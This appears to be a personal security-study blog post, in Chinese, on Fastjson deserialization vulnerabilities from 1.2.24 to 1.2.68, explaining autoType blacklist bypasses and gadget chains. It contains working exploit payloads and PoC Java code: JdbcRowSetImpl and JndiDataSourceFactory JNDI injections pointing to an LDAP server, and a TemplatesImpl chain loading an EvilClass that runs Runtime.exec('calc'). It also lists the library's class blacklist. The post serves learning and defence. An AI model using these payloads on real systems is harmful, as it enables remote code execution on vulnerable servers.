Fastjson 反序列化


Fastjson 反序列化

Fastjson

Fastjson 是阿里巴巴开发的一个 json 解析库,主要是对 json 数据进行序列化和反序列化

依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

Fastjson 的主要操作围绕两个核心方法

  • JSON.toJSONString(Object) 序列化,将 Java 对象转换成 json 文本

  • JSON.parse(String) 反序列化,将 json 文本转换回 java 对象

    • JSON.parseObject(String,Class)
    • JSON.parseArray(String,Class)

序列化和反序列化

先创建一个简单类用来序列化

import com.alibaba.fastjson.JSON;

public class fastjsondemo1 {
    public static void main(String[] args) {
        Person marin = new Person("marin", 18);
        String json = JSON.toJSONString(marin);
        System.out.println(json);
    }
}

从结果可以看到,这里调用了 getter 方法来获取属性值

image

序列化这里可以加多种 SerializerFeature​ 参数,当传入一个 WriteClassName​ ,就可以在序列化结果中打印一个 @type:类名

String json = JSON.toJSONString(marin, SerializerFeature.WriteClassName);

image

下面是利用反序列化方法

public class fastjsondemo1 {
    public static void main(String[] args) {
        String json = "{\"@type\":\"com.marin.Fastjson.Person\",\"age\":18,\"name\":\"marin\"}";
        String json2 = "{\"age\":18,\"name\":\"marin\"}";

        System.out.println(JSON.parseObject(json));
        System.out.println("--------------------------");
        System.out.println(JSON.parseObject(json2));
        System.out.println("--------------------------");
        System.out.println(JSON.parseObject(json,Person.class));
        System.out.println("--------------------------");
        System.out.println(JSON.parseObject(json2,Person.class));
        System.out.println("--------------------------");
        System.out.println(JSON.parse(json));
        System.out.println("--------------------------");
        System.out.println(JSON.parse(json2));
    }
}

image

我们可以看到这两个方法是反序列化失败了,并且有些方法输出并不是调用 toString 方法的

JSON.parseObject(json2)
JSON.parse(json2)
  • parse​ 要反序列化出一个对象,需要带有 @type 指定类
  • parseObject​ 要反序列化出一个对象,需要指定第二个参数为对应的类 Person.class​ ,绕过不指定第二个参数,返回的是一个 JSONObject 对象

特性

这里的特性是引用素十八师傅的

  • fastjson​ 在创建一个类实例的时候会通过反射调用类中符合条件的 getter/setter 方法

    getter 方法条件

    • 以 get 开头且第 4 位是大写字母
    • 方法不能有参数传入
    • 不是静态方法
    • 继承自 Collection​、Map​、AtomicBoolean​、AtomicInteger​、AtomicLong
    • 这个属性没有 setter​ 方法才会找 getter​ ,setter 是更优先的

    setter 方法条件

    • 以 set 开头且第 4 位是大写字母
    • 不是静态方法
    • 返回类型为 void 或 当前类
    • 参数个数为一个
  • 如果目标类中私有变量没有 setter​ 但是在反序列化中还是想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数

  • fastjson​ 在寻找 getter/setter​ 方法时,调用的函数会忽略 _​ 、-​ ,所以使用的字段名是 n_a_m-e​ ,也会找到 getName​ 方法,在 1.2.36 版本及其后续版本都可以使用

  • 在反序列化时,如果 Field 的类型为 byte[]​ ,将会调用 com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,在序列化的时候也会进行 base64 编码

fastjson 版本影响

fastjson 1.2.24

影响版本:fastjson <= 1.2.24

这个就是最基础的版本

fastjson​ 可以使用 @type​ 指定反序列化任意类,攻击者可以在 java 常见环境中寻找能够构造恶意类的攻击方法,通过调用 getter/setter 方法来达到传参的目录

fastjson 1.2.25

影响版本:1.2.25 <= fastjson <= 1.2.42

fastjson 1.2.25​ 引入了 checkAutoType 安全机制,采用黑白名单机制

  • 默认情况下,checkAutoType 关闭,基于白名单实现安全机制
  • 打开 checkAutoType 后,使用的是黑名单来实现安全

黑名单包含了

bsh
com.mchange
com.sun.
java.lang.Thread,java.net.Socket
java.rmi,javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

在反序列化中,有一个值 autoTypeSupport​ 这个决定了对 @type 机制的态度,默认为 flase,是不会加载类的
只有这个参数为 true 并且通过了白名单的检查就会加载类,如果这个类不在黑白名单中,最后也会加载类

绕过方法

这里的黑白名单加载类的时候,如果这个类是以 [​ 开头,就会去掉这个字符,然后返回对应的类,或者如果以 L​ 开头和以 ; 结尾,就会被去掉头尾再加载,这里就可以绕过黑白名单

image

所以像 JdbcRowSetImpl 的 paylaod 就可以改成

{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"ldap://127.0.0.1:8003/EvilClass",
	"autoCommit":true
}

但是还是需要将 autoTypeSupport 设置为 true,才有加载类的机会

  • 全局设置

    ParserConfig.getGlobalInstance().setAutoTypeSupport(true)
  • 为指定的类设置

    ParserConfig.getGlobalInstance().addAccept("com.example.YourClass")

image

fastjson 1.2.42

影响版本:1.2.25 <= fastjson <= 1.2.42

这个版本在黑名单匹配之前,针对以 L​ 开头和 ; 结尾的,会先去掉这两个东西之后再匹配黑名单

绕过方法

绕过方式就是双写绕过

{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"ldap://127.0.0.1:8003/EvilClass",
	"autoCommit":true
}

image

fastjson 1.2.43

影响版本:1.2.25 <= fastjson <= 1.2.43

这个版本就是把双写ban了,只要开头连续出现了两个 L ,就会报错

绕过方法

这里就可以使用之前提到的第一个方法,使用 [​,并且后面需要 [{ 来欺骗解析器,使得解析器将后续的内容作为对象的属性来解析

payload

{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[{
	"dataSourceName":"ldap://127.0.0.1:8003/EvilClass",
	"autoCommit":true
}

image

fastjson 1.2.44

影响版本:1.2.25 <= fastjson <= 1.2.44

这个版本就把前面的方法都修复了,限制之前所有的绕过方法

fastjson 1.2.45

影响版本:1.2.25 <= fastjson <= 1.2.45

这个版本找到了一个新的可绕过的类 JndiDataSourceFactory

fastjson 1.2.47

影响版本:1.2.25 <= fastjson <= 1.2.32​ 未开启 autoTypeSupport​ 及 1.2.33 <= fastjson <= 1.2.47

ParserConfig​ 的 checkAutoType​ 方法中有一个机制,其实一直都有,只是在 1.2.47 版本被利用

这个特性就是如果在黑白名单中没有找到匹配的类,会尝试在 TypeUtils​ 的 mappings​ 属性和 deserializers 属性中查找,如果找得到就直接返回

fastjson​ 中,TypeUtils 是一个静态工具类,用来存储很多类型处理、类加载、缓存管理等功能

mappings​ 是其中用来存储 类型映射的,将 fastjson 中已知且常用的类名映射到实际的 Class 对象,找到就直接返回加载的 Class 对象

deserualizers​ 是存储反序列化器的,针对特定的 java 类定制的,比如 String​、Integer 等,如果已经注册了反序列化器的,那么 Class 对象肯定已经被加载并缓存

autoTypeSupport​ 为 true 的情况下,会进入前面的判断机制,就算这个类在黑名单中,只要 TypeUtils​ 的 mappings 属性中能找到这个类,也不会有异常

如果 autoTypeSupport​ 为 false,那么也能利用,因为 TypeUtils.mappings​ 缓存的检查发生在黑名单检查之后,但在抛出异常之前,并且它的优先级高于 autoTypeSupport 的最终检查

绕过方法

将类加载进 TypeUtils.mappings​ 缓存中,能赋值的方法有 addBaseClassMappings​ 和 loadClass(String,ClassLoader,boolean)

addBaseClassMappings​ 中没有什么操作的空间,在 loadClass 中,我们看到

image

只要传入的对象不为空,就可以将传入的 className​ 加载进 mappings

我们找到只有在这个重载用法中才有调用这个方法,并且默认将 boolean​ 设置为 true,另一个方法不能控制 ClassLoader 所以只能找这个

image

com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法中,可以找到这个方法的调用

image

可以看到 strVal​ 作为类名,由 objVal 赋值,再往上找

image

如果 parser.resolveStatus​ 是 2 的话,就可以赋值了,parser 是我们可以传入的参数

image

这里赋值用到的 parser.parse()​ 是最后会调用到 JSONScanner#subString(int,int)​ ,用来从 JSON 字符串中取子串,位置已经固定好了,就是取 JSON 字符串的键名为 val 的值,这里的设定是因为 lexer​ 这个 JSONScanner 扫描器对象设定的

这里的详细解析我就没仔细看了(,直接上结论,就是 objVal​ 最后获取到的值就是 val 键对应的值

  • 前面我们还提到另一个是 ParserConfig.deserializers​ 的,但是这个就不能由我们操作了,只有这里包含了一个 java.lang.Class 类,所以如果反序列化的是这个类,就可以通过检测

然后继续往上走,在 DefaultJSONParser#parseObject(Map,Object)​ 方法中遇到能够通过检测的类就会调用 MiscCodec​ 类来反序列化,并且设置了进入 objVal​ 赋值的条件,就比如刚提到的 java.lang.Class

this.setResolveStatus(2);

image

这里最后的 payload 的形式是

{
	"object1": {
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	"object2": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "ldap://127.0.0.1:8003/EvilClass",
		"autoCommit": true
	}	
}

在反序列化第一个类的时候, Class 类可以顺利通过 checkAutoType​ 的检测,并返回 val,后面进入 MiscCodec#deserialze​ 中将 com.sun.rowset.JdbcRowSetImpl​ 加载到 TypeUtils.mappings

然后再反序列化第二个类的时候,因为 TypeUtils.mappings 中已经有了,就不会报错,并且能够成功返回

image

fastjson 1.2.48

这个版本就是修复了污染缓存的漏洞,传参时 boolean​ 默认设置为 false 了,并且将 java.lang.Class 加入黑名单了

fastjson 1.2.68

影响版本:fastjson <= 1.2.68

在这个版本中,添加了一个新的机制,在 ParserConfig#checkAutoType​ 中添加了一个 safeMode ,只要开启了这个,就会直接抛出异常,不能反序列化任何类

image

绕过方法

同时,在这个方法中也找到了一个新的绕过方法,这个其实一直都有,只是才找出来,不过也需要关闭 safeMode

image

这里的利用点就是要构造一个符合条件的 expectClass​,就是反序列化的类是传入的 expectClass 的子类

expectClass​ 是 ParserConfig#checkAutoType(String,Class<?> ,int) 的第二个参数,查找调用了这个的方法

最后在 ThrowableDeserializer#deserialze 找到一个调用的地方

image

这里会将 @type​ 的值传入第一个参数,Throwable.class 作为第二个值,所以只要我们传入的类是这个的子类,就可以通过检测

漏洞利用

TemplatesImpl

影响版本:fastjson <= 1.2.24

要利用的类是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

我们可以看到在 getTransletInstance​ 方法中调用了 newInstance 方法,这个可以触发这个类的静态方法,但是这个 get 方法是私有的,无法直接调用

image查找用法发现 newTransformer 方法调用了

image

继续查发现 getOutputProperties​ 调用了这个方法,这个是一个 getter​ 方法,并且返回值 Properties 实现了 Map 接口,符合要求,反序列化时可以调用

不过这个 OutputProperties​ 没有 setter​ 方法,并且是私有的,所以要用 Feature.SupportNonPublicField 赋值

image

回到最开始,我们要调用 newInstance​ 方法,得有一个类,这个类是怎么来的,我们可以看到先触发了一个 defineTransletClasses​ 方法,这里使用了一个自定义的类加载器来加载字节码,这个方法里还要求加载的类要继承 AbstractTranslet

image

payload

虽然没懂有些参数在这里是干什么用的,但是没有就是会报错(

{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":base64Code,
"_name":"marin",
"_tfactory":{},
"_outputProperties":{},
}

调用链

TemplatesImpl#getOutputProperties()
- TemplatesImpl#newTransformer()
-- TemplatesImpl#getTransletInstance()
--- TemplatesImpl#defineTransletClasses()
---- Class#newInstance()

测试实现

成功实现

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Poc {
    public static void main(String[] args) throws IOException {
        byte[] code = Files.readAllBytes(Paths.get("D:\\study\\java\\study\\javacode\\Fastjson\\src\\main\\java\\com\\marin\\Fastjson\\TemplatesImpl\\EvilClass.class"));
        String base64Code = Base64.getEncoder().encodeToString(code);
        String poc = "{\n" +
                "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
                "\"_bytecodes\": [\"" +base64Code +"\"],\n" +
                "\"_name\":\"marin\",\n" +
                "\"_tfactory\":{}," +
                "\"_outputProperties\":{},\n" +
                "}";
        JSON.parseObject(poc, Object.class, Feature.SupportNonPublicField);
    }
}

image

恶意的 class 文件

package com.marin.Fastjson.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilClass extends AbstractTranslet {
    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }

    static {
        try {
            System.out.println("1231231");
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}

JdbcRowSetImpl

  • 这里和 SnakeYAML 的链子是一样的,我就照抄了

影响版本:fastjson <= 1.2.24

com.sun.rowset.JdbcRowSetImpl​ 这条利用链是由于 javax.naming.InitialContext#lookup() 方法的参数可控导致的 JNDI 注入

由前文知道,YAML 反序列化的入口类很大概率是无参构造方法或者是 setter 方法

这里跟着网上找到了这个 setAutoCommit​ 的 setter​ 方法,在里面调用了 connect() 方法

image

跟进方法可以看到这里有 lookup​ 方法进行 JNDI 远程调用,参数是 getDataSourceName 方法,继续跟进

image

发现只要将 dataSource 设置成恶意的 JNDI 地址就可以

image

payload

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://127.0.0.1:8003/EvilClass",
	"autoCommit":true
}

调用链

JdbcRowSetImpl#setAutoCommit()
- JdbcRowSetImpl#connect()
-- JdbcRowSetImpl#lookup()

测试实现

import com.alibaba.fastjson.JSON;

public class Poc {
    public static void main(String[] args) {
        String poc = "{\n" +
                "\t\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "\t\"dataSourceName\":\"ldap://127.0.0.1:8003/EvilClass\",\n" +
                "\t\"autoCommit\":true\n" +
                "}";
        JSON.parse(poc);
    }
}

image

JndiDataSourceFactory

影响版本:1.2.25 <= fastjson <= 1.2.45

这个类需要服务端有 mybatis 依赖 jar 包

<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.13</version>
</dependency>

看源码,很容易就看到可以控制 lookup 的参数

image

payload

{
	"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
	"properties":{"data_source":"ldap://127.0.0.1:8003/EvilClass"}
}

调用链

JndiDataSourceFactory#setProperties(Properties)
- InitialContext#lookup(String)

测试实现

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Poc {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String poc = "{\n" +
                "\t\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
                "\t\"properties\":{\"data_source\":\"ldap://127.0.0.1:8003/EvilClass\"}\n" +
                "}";
        JSON.parse(poc);
    }
}

image

参考

Fastjson 反序列化漏洞 · 攻击Java Web应用-Java Web安全

漏洞篇 - Fastjson 反序列化 - 妙尽璇机


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录